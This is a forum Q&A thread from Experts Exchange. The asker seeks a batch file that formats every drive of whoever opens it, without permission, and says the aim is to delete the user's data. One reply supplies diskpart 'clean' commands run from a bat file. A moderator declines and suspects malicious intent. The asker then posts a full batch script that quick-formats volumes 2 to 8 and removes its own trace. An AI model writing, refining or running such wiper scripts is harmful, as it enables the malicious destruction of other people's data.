how to format all drives of computer with a batch file ,without any permission ?

make batch file ,if anyone can open ,it automatically format all drives of computer.
shaile'sss gAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

NVITCommented:
Need clarification.

Example... I'm the user. The computer I'm on has C:, and D: drives. I open the batch. It formats both C:, and D: drives?
1
shaile'sss gAuthor Commented:
yes,
...........simply i can create a batch file and if user try to open that batch file then it automatically delete all data of user :"
0
Lasse BodilsenSystem AdministratorCommented:
I would not want to test if it works on my own computer :D

but with that said, you could properly get away with using diskpart instead.
https://technet.microsoft.com/en-us/library/dn614984(v=ws.11).aspx

Create small txt file named scriptfile.txt with:
select disk 0
clean

Open in new window

and then in the bat file execute:
diskpart /s scriptfile.txt

Open in new window


or only from a bat file like:
echo select disk 0 > script.txt
echo clean >> script.txt
diskpart /s script.txt

Open in new window

of course diskpart will require an elevated command prompt to run, and this only deletes data on the first disk in the system (which might contain C:\ D:\ etc)
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Cloud Class® Course: CompTIA Healthcare IT Tech

This course will help prep you to earn the CompTIA Healthcare IT Technician certification showing that you have the knowledge and skills needed to succeed in installing, managing, and troubleshooting IT systems in medical and clinical settings.

QlemoBatchelor, Developer and EE Topic AdvisorCommented:
No. Being able to do that would be very dangerous. I have to assume malicious intention here, because it just doesn't make any sense to format everything without performing an OS installation, which requires some knowledge and instructions.
0
shaile'sss gAuthor Commented:
@echo off
echo > script.txt select vol 2
echo >> script.txt format quick
echo >> script.txt select vol 3
echo >> script.txt format quick
echo >> script.txt select vol 4
echo >> script.txt format quick
echo >> script.txt select vol 5
echo >> script.txt format quick
echo >> script.txt select vol 6
echo >> script.txt format quick
echo >> script.txt select vol 7
echo >> script.txt format quick
echo >> script.txt select vol 8
echo >> script.txt format quick
diskpart /s script.txt
del script.txt
exit
0
shaile'sss gAuthor Commented:
that's a code of batch file that is format our D drive E drive and Fdrive in another word i can say that this is format all drives of computer ignoring C drive .
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Windows Batch

From novice to tech pro — start learning today.

Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.